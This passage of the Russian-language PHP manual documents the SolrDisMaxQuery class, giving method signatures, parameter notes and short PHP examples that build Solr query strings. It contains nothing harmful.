public SolrQuery::setHighlightSnippets(int $value, string $field_override = ?): SolrQuery
public SolrQuery::setHighlightUsePhraseHighlighter(bool $flag): SolrQuery
public SolrQuery::setMlt(bool $flag): SolrQuery
public SolrQuery::setMltBoost(bool $flag): SolrQuery
public SolrQuery::setMltCount(int $count): SolrQuery
public SolrQuery::setMltMaxNumQueryTerms(int $value): SolrQuery
public SolrQuery::setMltMaxNumTokens(int $value): SolrQuery
public SolrQuery::setMltMaxWordLength(int $maxWordLength): SolrQuery
public SolrQuery::setMltMinDocFrequency(int $minDocFrequency): SolrQuery
public SolrQuery::setMltMinTermFrequency(int $minTermFrequency): SolrQuery
public SolrQuery::setMltMinWordLength(int $minWordLength): SolrQuery
public SolrQuery::setOmitHeader(bool $flag): SolrQuery
public SolrQuery::setQuery(string $query): SolrQuery
public SolrQuery::setRows(int $rows): SolrQuery
public SolrQuery::setShowDebugInfo(bool $flag): SolrQuery
public SolrQuery::setStart(int $start): SolrQuery
public SolrQuery::setStats(bool $flag): SolrQuery
public SolrQuery::setTerms(bool $flag): SolrQuery
public SolrQuery::setTermsField(string $fieldname): SolrQuery
public SolrQuery::setTermsIncludeLowerBound(bool $flag): SolrQuery
public SolrQuery::setTermsIncludeUpperBound(bool $flag): SolrQuery
public SolrQuery::setTermsLimit(int $limit): SolrQuery
public SolrQuery::setTermsLowerBound(string $lowerBound): SolrQuery
public SolrQuery::setTermsMaxCount(int $frequency): SolrQuery
public SolrQuery::setTermsMinCount(int $frequency): SolrQuery
public SolrQuery::setTermsPrefix(string $prefix): SolrQuery
public SolrQuery::setTermsReturnRaw(bool $flag): SolrQuery
public SolrQuery::setTermsSort(int $sortType): SolrQuery
public SolrQuery::setTermsUpperBound(string $upperBound): SolrQuery
public SolrQuery::setTimeAllowed(int $timeAllowed): SolrQuery
}

Предопределённые константы

SolrDisMaxQuery::ORDER_ASC

Используется для указания того, что сортировка должна быть в возрастающем порядке (дублировать для упрощения миграции)

SolrDisMaxQuery::ORDER_DESC

Используется для указания, что сортировка должна быть в порядке убывания (дублируется для упрощения миграции)

SolrDisMaxQuery::FACET_SORT_INDEX

Используется для указания сортировки фасета по индексу (дублируется для упрощения миграции)

SolrDisMaxQuery::FACET_SORT_COUNT

Используется для указания сортировки фасета по количеству (дублируется для упрощения миграции)

SolrDisMaxQuery::TERMS_SORT_INDEX

Используется в TermsComponent (дублируется для упрощения миграции)

SolrDisMaxQuery::TERMS_SORT_COUNT

Используется в TermsComponent (дублируется для упрощения миграции)

Содержание

  • SolrDisMaxQuery::addBigramPhraseField — Добавляет поле фразовой биграммы (параметр pf2)
  • SolrDisMaxQuery::addBoostQuery — Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)
  • SolrDisMaxQuery::addPhraseField — Добавляет поле фразы (параметр pf)
  • SolrDisMaxQuery::addQueryField — Добавляет поле запроса с необязательным повышением (параметр qf)
  • SolrDisMaxQuery::addTrigramPhraseField — Добавляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::addUserField — Добавляет поле в параметр пользовательских полей (uf)
  • SolrDisMaxQuery::__construct — Конструктор класса
  • SolrDisMaxQuery::removeBigramPhraseField — Удаляет поле биграммы фразы (параметр pf2)
  • SolrDisMaxQuery::removeBoostQuery — Удаляет частичное повышение запроса по имени поля (bq)
  • SolrDisMaxQuery::removePhraseField — Удаляет поле фразы (параметра)
  • SolrDisMaxQuery::removeQueryField — Удаляет поле запроса (параметр qf)
  • SolrDisMaxQuery::removeTrigramPhraseField — Удаляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::removeUserField — Удаляет поле из параметра пользовательских полей (uf)
  • SolrDisMaxQuery::setBigramPhraseFields — Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2
  • SolrDisMaxQuery::setBigramPhraseSlop — Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)
  • SolrDisMaxQuery::setBoostFunction — Устанавливает функцию усиления (параметр bf)
  • SolrDisMaxQuery::setBoostQuery — Непосредственно устанавливает параметр запроса усиления (bq)
  • SolrDisMaxQuery::setMinimumMatch — Устанавливает минимальное соответствие "Should" (mm)
  • SolrDisMaxQuery::setPhraseFields — Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2
  • SolrDisMaxQuery::setPhraseSlop — Устанавливает коэффициент отклонения по умолчанию для запросов фраз (параметр ps)
  • SolrDisMaxQuery::setQueryAlt — Устанавливает альтернативный запрос (параметр q.alt)
  • SolrDisMaxQuery::setQueryPhraseSlop — Определяет коэффициент отклонения, разрешённый для фразовых запросов, явно включённых в строку запроса пользователя (параметр qf)
  • SolrDisMaxQuery::setTieBreaker — Устанавливает параметр Tie Breaker (параметр tie)
  • SolrDisMaxQuery::setTrigramPhraseFields — Непосредственно устанавливает поля триграммы фразы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseSlop — Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)
  • SolrDisMaxQuery::setUserFields — Устанавливает параметр пользовательских полей (uf)
  • SolrDisMaxQuery::useDisMaxQueryParser — Переключает QueryParser на DisMax Query Parser
  • SolrDisMaxQuery::useEDisMaxQueryParser — Переключает QueryParser на EDisMax

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле фразовой биграммы (параметр pf2)

  • « SolrDisMaxQuery
  • SolrDisMaxQuery::addBoostQuery »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле фразовой биграммы (параметр pf2)

SolrDisMaxQuery::addBigramPhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addBigramPhraseField — Добавляет поле фразовой биграммы (параметр pf2)

Описание

public SolrDisMaxQuery::addBigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Добавляет поле фразовой биграммы (параметр pf2) Выходной формат: field~slop^boost ИЛИ field^boost Slop не является обязательным

Список параметров

field

boost

slop

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addBigramPhraseField()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBigramPhraseField('cat', 2, 5.1)
->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

Смотрите также

  • SolrDisMaxQuery::removeBigramPhraseField() - Удаляет поле биграммы фразы (параметр pf2)
  • SolrDisMaxQuery::setBigramPhraseFields() - Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2
  • SolrDisMaxQuery::setBigramPhraseSlop() - Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)

  • « SolrDisMaxQuery::addBigramPhraseField
  • SolrDisMaxQuery::addPhraseField »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)

SolrDisMaxQuery::addBoostQuery

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addBoostQuery — Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)

Описание

public SolrDisMaxQuery::addBoostQuery(string $field, string $value, string $boost = ?): SolrDisMaxQuery

Добавляет поле повышения запроса со значением [и повышение] (параметр bq)

Список параметров

field

value

boost

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addBoostQuery()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBoostQuery('cat', 'clothing', 2)
->addBoostQuery('cat', 'electronics', 5.1)
;
echo $dismaxQuery.PHP_EOL;
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&bq=cat:clothing^2 cat:electronics^5.1

Смотрите также

  • SolrDisMaxQuery::removeBoostQuery() - Удаляет частичное повышение запроса по имени поля (bq)
  • SolrDisMaxQuery::setBoostQuery() - Непосредственно устанавливает параметр запроса усиления (bq)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле фразы (параметр pf)

  • « SolrDisMaxQuery::addBoostQuery
  • SolrDisMaxQuery::addQueryField »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле фразы (параметр pf)

SolrDisMaxQuery::addPhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addPhraseField — Добавляет поле фразы (параметр pf)

Описание

public SolrDisMaxQuery::addPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Добавляет поле фразы (параметр pf)

Список параметров

field

field name

boost

slop

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addPhraseField()

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addPhraseField('cat', 3, 1)
->addPhraseField('third', 4, 2)
->addPhraseField('source', 55)
;
echo $dismaxQuery;
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf=cat~1^3 third~2^4 source^55

Смотрите также

  • SolrDisMaxQuery::removePhraseField() - Удаляет поле фразы (параметра)
  • SolrDisMaxQuery::setPhraseFields() - Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле запроса с необязательным повышением (параметр qf)

  • « SolrDisMaxQuery::addPhraseField
  • SolrDisMaxQuery::addTrigramPhraseField »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле запроса с необязательным повышением (параметр qf)

SolrDisMaxQuery::addQueryField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addQueryField — Добавляет поле запроса с необязательным повышением (параметр qf)

Описание

public SolrDisMaxQuery::addQueryField(string $field, string $boost = ?): SolrDisMaxQuery

Добавляет поле запроса с необязательным повышением

Список параметров

field

Имя поля

boost

Повышение значения. Добавляет документы с соответствующими выражениями.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addQueryField()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addQueryField("location", 4)
->addQueryField("price")
->addQueryField("sku")
->addQueryField("title",3.4)
;
echo $dismaxQuery;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&qf=location^4 price sku title^3.4

Смотрите также

  • SolrDisMaxQuery::removeQueryField() - Удаляет поле запроса (параметр qf)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле триграммы (параметр pf3)

  • « SolrDisMaxQuery::addQueryField
  • SolrDisMaxQuery::addUserField »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле триграммы (параметр pf3)

SolrDisMaxQuery::addTrigramPhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addTrigramPhraseField — Добавляет поле триграммы (параметр pf3)

Описание

public SolrDisMaxQuery::addTrigramPhraseField(string $field, string $boost, string $slop = ?): SolrDisMaxQuery

Добавляет поле триграммы (параметр pf3)

Список параметров

field

Имя поля

boost

Поле Boost

slop

Поле Slop

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addTrigramPhraseField()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

?>

Результат выполнения приведённого примера:

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5

Смотрите также

  • SolrDisMaxQuery::removeTrigramPhraseField() - Удаляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Непосредственно устанавливает поля триграммы фразы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле в параметр пользовательских полей (uf)

  • « SolrDisMaxQuery::addTrigramPhraseField
  • SolrDisMaxQuery::__construct »
  • PHP Manual
  • SolrDisMaxQuery
  • Добавляет поле в параметр пользовательских полей (uf)

SolrDisMaxQuery::addUserField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::addUserField — Добавляет поле в параметр пользовательских полей (uf)

Описание

public SolrDisMaxQuery::addUserField(string $field): SolrDisMaxQuery

Добавляет поле в параметр пользовательских полей (uf)

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::addUserField()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt');

echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&uf=cat text *_dt

Смотрите также

  • SolrDisMaxQuery::removeUserField() - Удаляет поле из параметра пользовательских полей (uf)
  • SolrDisMaxQuery::setUserFields() - Устанавливает параметр пользовательских полей (uf)

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса

  • « SolrDisMaxQuery::addUserField
  • SolrDisMaxQuery::removeBigramPhraseField »
  • PHP Manual
  • SolrDisMaxQuery
  • Конструктор класса

SolrDisMaxQuery::__construct

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::__construct — Конструктор класса

Описание

public SolrDisMaxQuery::__construct(string $q = ?)

Конструктор класса инициализирует объект и устанавливает параметр q, если он указан

Список параметров

q

Поисковый запрос (параметр q)

Возвращаемые значения

Ошибки

Выбрасывает SolrIllegalArgumentException в случае передачи неверного параметра.

Примеры

Пример #1 Пример использования SolrDisMaxQuery::__construct()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
echo $dismaxQuery;

?>

Результат выполнения приведённого примера:

q=lucene&defType=edismax

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле биграммы фразы (параметр pf2)

  • « SolrDisMaxQuery::__construct
  • SolrDisMaxQuery::removeBoostQuery »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет поле биграммы фразы (параметр pf2)

SolrDisMaxQuery::removeBigramPhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removeBigramPhraseField — Удаляет поле биграммы фразы (параметр pf2)

Описание

public SolrDisMaxQuery::removeBigramPhraseField(string $field): SolrDisMaxQuery

Удаляет поле фразы биграммы (параметр pf2), которое было ранее добавлено с помощью SolrDisMaxQuery::addBigramPhraseField()

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removeBigramPhraseField()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBigramPhraseField('cat', 2, 5.1)
->addBigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;

// удалить cat из pf2
$dismaxQuery
->removeBigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5
q=lucene&defType=edismax&pf2=feature^4.5

Смотрите также

  • SolrDisMaxQuery::addBigramPhraseField() - Добавляет поле фразовой биграммы (параметр pf2)
  • SolrDisMaxQuery::setBigramPhraseFields() - Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2
  • SolrDisMaxQuery::setBigramPhraseSlop() - Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет частичное повышение запроса по имени поля (bq)

  • « SolrDisMaxQuery::removeBigramPhraseField
  • SolrDisMaxQuery::removePhraseField »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет частичное повышение запроса по имени поля (bq)

SolrDisMaxQuery::removeBoostQuery

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removeBoostQuery — Удаляет частичное повышение запроса по имени поля (bq)

Описание

public SolrDisMaxQuery::removeBoostQuery(string $field): SolrDisMaxQuery

Удаляет частичный запрос повышения из существующего запроса, только если было выполнено SolrDisMaxQuery::addBoostQuery().

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removeBoostQuery()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery
->addBoostQuery('cat', 'electronics', 5.1)
->addBoostQuery('cat', 'hard drive')
;
echo $dismaxQuery.PHP_EOL;
// теперь удалите часть запроса с полем 'cat'
$dismaxQuery
->removeBoostQuery('cat');
echo $dismaxQuery . PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&bq=cat:electronics^5.1 cat:hard drive
q=lucene&defType=edismax&bq=cat:hard drive

Смотрите также

  • SolrDisMaxQuery::addBoostQuery() - Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)
  • SolrDisMaxQuery::setBoostQuery() - Непосредственно устанавливает параметр запроса усиления (bq)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле фразы (параметра)

  • « SolrDisMaxQuery::removeBoostQuery
  • SolrDisMaxQuery::removeQueryField »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет поле фразы (параметра)

SolrDisMaxQuery::removePhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removePhraseField — Удаляет поле фразы (параметра)

Описание

public SolrDisMaxQuery::removePhraseField(string $field): SolrDisMaxQuery

Удаляет поле фразы (параметра), которое было ранее добавлено с помощью SolrDisMaxQuery::addPhraseField

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removePhraseField()

<?php
$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addPhraseField('first', 3, 1)
->addPhraseField('second', 4, 1)
->addPhraseField('cat', 55);
echo $dismaxQuery . PHP_EOL;
echo $dismaxQuery->removePhraseField('second');
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf=first~1^3 second~1^4 cat^55
q=lucene&defType=edismax&pf=first~1^3 cat^55

Смотрите также

  • SolrDisMaxQuery::addPhraseField() - Добавляет поле фразы (параметр pf)
  • SolrDisMaxQuery::setPhraseFields() - Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле запроса (параметр qf)

  • « SolrDisMaxQuery::removePhraseField
  • SolrDisMaxQuery::removeTrigramPhraseField »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет поле запроса (параметр qf)

SolrDisMaxQuery::removeQueryField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removeQueryField — Удаляет поле запроса (параметр qf)

Описание

public SolrDisMaxQuery::removeQueryField(string $field): SolrDisMaxQuery

Удаляет поле запроса (параметр qf) из списка полей, добавленных с помощью SolrDisMaxQuery::addQueryField()

qf: При создании DisjunctionMaxQueries из пользовательского запроса он указывает поля для поиска и увеличивает их количество.

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removeQueryField()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addQueryField('first', 3)
->addQueryField('second', 0.2)
->addQueryField('cat');
echo $dismaxQuery . PHP_EOL;
// удалите поле 'second'
echo $dismaxQuery->removeQueryField('second');
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&qf=first^3 second^0.2 cat
q=lucene&defType=edismax&qf=first^3 cat

Смотрите также

  • SolrDisMaxQuery::addQueryField() - Добавляет поле запроса с необязательным повышением (параметр qf)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле триграммы (параметр pf3)

  • « SolrDisMaxQuery::removeQueryField
  • SolrDisMaxQuery::removeUserField »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет поле триграммы (параметр pf3)

SolrDisMaxQuery::removeTrigramPhraseField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removeTrigramPhraseField — Удаляет поле триграммы (параметр pf3)

Описание

public SolrDisMaxQuery::removeTrigramPhraseField(string $field): SolrDisMaxQuery

Удаляет поле триграммы (параметр pf3)

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removeTrigramPhraseField()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addTrigramPhraseField('cat', 2, 5.1)
->addTrigramPhraseField('feature', 4.5)
;
echo $dismaxQuery.PHP_EOL;
// удаление
$dismaxQuery
->removeTrigramPhraseField('cat');
echo $dismaxQuery.PHP_EOL;

?>

Результат выполнения приведённого примера:

q=lucene&defType=%s&pf3=cat~5.1^2 feature^4.5
q=lucene&defType=%s&pf3=feature^4.5

Смотрите также

  • SolrDisMaxQuery::addTrigramPhraseField() - Добавляет поле триграммы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Непосредственно устанавливает поля триграммы фразы (параметр pf3)
  • SolrDisMaxQuery::setTrigramPhraseSlop() - Устанавливает коэффициент отклонения триграммы фразы (параметр ps3)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет поле из параметра пользовательских полей (uf)

  • « SolrDisMaxQuery::removeTrigramPhraseField
  • SolrDisMaxQuery::setBigramPhraseFields »
  • PHP Manual
  • SolrDisMaxQuery
  • Удаляет поле из параметра пользовательских полей (uf)

SolrDisMaxQuery::removeUserField

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::removeUserField — Удаляет поле из параметра пользовательских полей (uf)

Описание

public SolrDisMaxQuery::removeUserField(string $field): SolrDisMaxQuery

Удаляет поле из параметра пользовательских полей (uf)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

field

Имя поля

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::removeUserField()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');
$dismaxQuery
->addUserField('cat')
->addUserField('text')
->addUserField('*_dt')
;
echo $dismaxQuery.PHP_EOL;

// удалить поле 'text'
$dismaxQuery
->removeUserField('text');
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=%s&uf=cat text *_dt
q=lucene&defType=%s&uf=cat *_dt

Смотрите также

  • SolrDisMaxQuery::addUserField() - Добавляет поле в параметр пользовательских полей (uf)
  • SolrDisMaxQuery::setUserFields() - Устанавливает параметр пользовательских полей (uf)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2

  • « SolrDisMaxQuery::removeUserField
  • SolrDisMaxQuery::setBigramPhraseSlop »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2

SolrDisMaxQuery::setBigramPhraseFields

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setBigramPhraseFields — Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2

Описание

public SolrDisMaxQuery::setBigramPhraseFields(string $fields): SolrDisMaxQuery

Устанавливает поля биграммы фразы и их усиления (и отклонения) с помощью параметра pf2.

Список параметров

fields

Усиления полей (отклонения).

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setBigramPhraseFields()

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setBigramPhraseFields("cat~5.1^2 feature^4.5");
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&pf2=cat~5.1^2 feature^4.5

Смотрите также

  • SolrDisMaxQuery::setBigramPhraseSlop() - Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)
  • SolrDisMaxQuery::addBigramPhraseFields()
  • SolrDisMaxQuery::removeBigramPhraseField() - Удаляет поле биграммы фразы (параметр pf2)
  • SolrDisMaxQuery::setTrigramPhraseFields() - Непосредственно устанавливает поля триграммы фразы (параметр pf3)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)

  • « SolrDisMaxQuery::setBigramPhraseFields
  • SolrDisMaxQuery::setBoostFunction »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)

SolrDisMaxQuery::setBigramPhraseSlop

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setBigramPhraseSlop — Устанавливает коэффициент отклонения биграммы фразы (параметр ps2)

Описание

public SolrDisMaxQuery::setBigramPhraseSlop(string $slop): SolrDisMaxQuery

Устанавливает коэффициент отклонения биграммы фразы (параметр ps2). Коэффициент отклонения по умолчанию для полей биграммы фразы.

Список параметров

slop

Коэффициент отклонения.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setBigramPhraseSlop()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$dismaxQuery->setBigramPhraseSlop(5);
echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&ps2=5

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию усиления (параметр bf)

  • « SolrDisMaxQuery::setBigramPhraseSlop
  • SolrDisMaxQuery::setBoostQuery »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает функцию усиления (параметр bf)

SolrDisMaxQuery::setBoostFunction

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setBoostFunction — Устанавливает функцию усиления (параметр bf)

Описание

public SolrDisMaxQuery::setBoostFunction(string $function): SolrDisMaxQuery

Устанавливает функцию усиления (параметр bf)

Функции (с необязательными усилениями), которые будут включены в запрос пользователя, чтобы повлиять на оценку. Можно использовать любую функцию, изначально поддерживаемую Solr, вместе со значением повышения, например.:

recip(rord(myfield),1,2,3)^1.5

Список параметров

function

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setBoostFunction()

<?php

$dismaxQuery = new SolrDisMaxQuery('lucene');

$boostRecentDocsFunction = "recip(ms(NOW,mydatefield),3.16e-11,1,1)";
$dismaxQuery->setBoostFunction($boostRecentDocsFunction);

echo $dismaxQuery.PHP_EOL;

?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&bf=recip(ms(NOW,mydatefield),3.16e-11,1,1)

User Contributed Notes

There are no user contributed notes for this page.


Непосредственно устанавливает параметр запроса усиления (bq)

  • « SolrDisMaxQuery::setBoostFunction
  • SolrDisMaxQuery::setMinimumMatch »
  • PHP Manual
  • SolrDisMaxQuery
  • Непосредственно устанавливает параметр запроса усиления (bq)

SolrDisMaxQuery::setBoostQuery

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setBoostQuery — Непосредственно устанавливает параметр запроса усиления (bq)

Описание

public SolrDisMaxQuery::setBoostQuery(string $q): SolrDisMaxQuery

Устанавливает параметр запроса усиления (bq).

Список параметров

q

Запрос.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setBoostQuery()

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");

$dismaxQuery->setBoostQuery('cat:electronics manu:local^2');
echo $dismaxQuery.PHP_EOL;
?>

Вывод приведённого примера будет похож на:

q=lucene&defType=edismax&bq=cat:electronics manu:local^2

Смотрите также

  • SolrDisMaxQuery::addBoostQuery() - Добавляет поле повышения запроса со значением и необязательным усилением (параметр bq)
  • SolrDisMaxQuery::removeBoostQuery() - Удаляет частичное повышение запроса по имени поля (bq)

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальное соответствие "Should" (mm)

  • « SolrDisMaxQuery::setBoostQuery
  • SolrDisMaxQuery::setPhraseFields »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает минимальное соответствие "Should" (mm)

SolrDisMaxQuery::setMinimumMatch

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setMinimumMatch — Устанавливает минимальное соответствие "Should" (mm)

Описание

public SolrDisMaxQuery::setMinimumMatch(string $value): SolrDisMaxQuery

Устанавливает параметр минимального соответствия "Should" (mm). Если оператор запроса по умолчанию - AND (И), тогда mm = 100%, если оператор запроса по умолчанию (q.op) - OR (ИЛИ), то mm = 0%.

Список параметров

value

Минимальное значение соответствия/выражение.

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setMinimumMatch()

<?php

$dismaxQuery = new SolrDisMaxQuery("lucene");
// 75% предложений запроса должны соответствовать
$dismaxQuery->setMinimumMatch("75%");
echo $dismaxQuery . PHP_EOL;
?>

Результат выполнения приведённого примера:

q=lucene&defType=edismax&mm=75%

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2

  • « SolrDisMaxQuery::setMinimumMatch
  • SolrDisMaxQuery::setPhraseSlop »
  • PHP Manual
  • SolrDisMaxQuery
  • Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2

SolrDisMaxQuery::setPhraseFields

(Информация о версии неизвестна, возможно, только в Git)

SolrDisMaxQuery::setPhraseFields — Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2

Описание

public SolrDisMaxQuery::setPhraseFields(string $fields): SolrDisMaxQuery

Устанавливает поля фразы и их усиления (и отклонения) с помощью параметра pf2.

Список параметров

fields

Поля, усиления (отклонения).

Возвращаемые значения

SolrDisMaxQuery

Примеры

Пример #1 Пример использования SolrDisMaxQuery::setPhraseFields()

<?php
$dismaxQuery = new SolrDisMaxQuery("lucene");
$dismaxQuery->setPhraseFields("cat~5.1^2 feature^4.5");
